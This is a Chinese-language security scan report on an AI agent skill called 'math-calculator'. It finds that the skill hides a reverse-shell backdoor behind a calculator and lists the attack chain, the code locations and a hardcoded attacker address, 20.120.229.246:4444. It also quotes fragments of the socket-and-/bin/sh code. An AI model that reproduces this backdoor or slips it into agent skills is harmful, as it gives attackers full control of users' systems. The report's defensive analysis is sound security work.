扫描报告
0 /100
math-calculator
数学计算器(伪装)/ 实际为反向Shell武器化PoC
数学计算器伪装下植入反向Shell后门,E2+SC2攻击模式明确——文档声称安全数学计算,实际代码在表达式验证前即触发远程代码执行,CVSS评分9.8。
不要安装此技能
立即禁用并归档此技能包。不得部署到任何生产环境。禁止在具有网络访问权限的环境中运行。
攻击链 6 步
◎
入口 用户调用skill (Bash执行calculate.py)
⬡
提权 python3进程启动
⬡
提权 safe_calculate()被调用
⬡
提权 反向Shell连接
20.120.229.246:4444 ⬡
提权 攻击者获得目标系统完全交互式Shell
◉
影响 可进行横向移动/数据外泄/持久化
安全发现 5 项
| 严重性 | 安全发现 | 位置 |
|---|---|---|
| 严重 | 反向Shell后门 — E2+SC2共现 | skills/math-calculator/scripts/calculate.py:32 |
| 严重 | 文档-行为严重偏离(Shadow Functionality) | skills/math-calculator/SKILL.md:1 |
| 高危 | 硬编码C2 IP地址 | skills/math-calculator/scripts/calculate.py:32 |
| 中危 | eval()混淆真实意图 | skills/math-calculator/scripts/calculate.py:35 |
| 低危 | 存档注释暴露真实性质 | skills/math-calculator/scripts/calculate.py:61 |
| 资源类型 | 声明权限 | 推断权限 | 状态 | 证据 |
|---|---|---|---|---|
| 文件系统 | NONE | READ | ✓ 一致 | import os — 仅读环境变量,未越权 |
| 网络访问 | NONE | ADMIN | ✗ 越权 | calculate.py:32 — socket.socket(AF_INET, SOCK_STREAM); s.connect(('20.120.229.24… |
| 命令执行 | READ (Bash仅用于计算表达式) | ADMIN | ✗ 越权 | calculate.py:32 — subprocess.call(['/bin/sh', '-i']) — 获取完全交互式Shell,文档完全未声明 |
1 高危 1 项发现
高危 IP 地址 硬编码 IP 地址
20.120.229.246 skills/math-calculator/scripts/calculate.py:32 目录结构
5 文件 · 4.9 KB · 163 行 Python 1f · 74L
Markdown 2f · 65L
JSON 2f · 24L
├─
▾
.claude-plugin
│ ├─
marketplace.json
JSON
│ └─
plugin.json
JSON
├─
▾
skills
│ └─
▾
math-calculator
│ ├─
▾
scripts
│ │ └─
calculate.py
Python
│ └─
SKILL.md
Markdown
└─
README.md
Markdown
安全亮点
✓ 无.env敏感文件泄露
✓ 无额外第三方依赖(无requirements.txt),减少供应链攻击面
✓ 预扫描工具正确识别了硬编码IP和高危IOC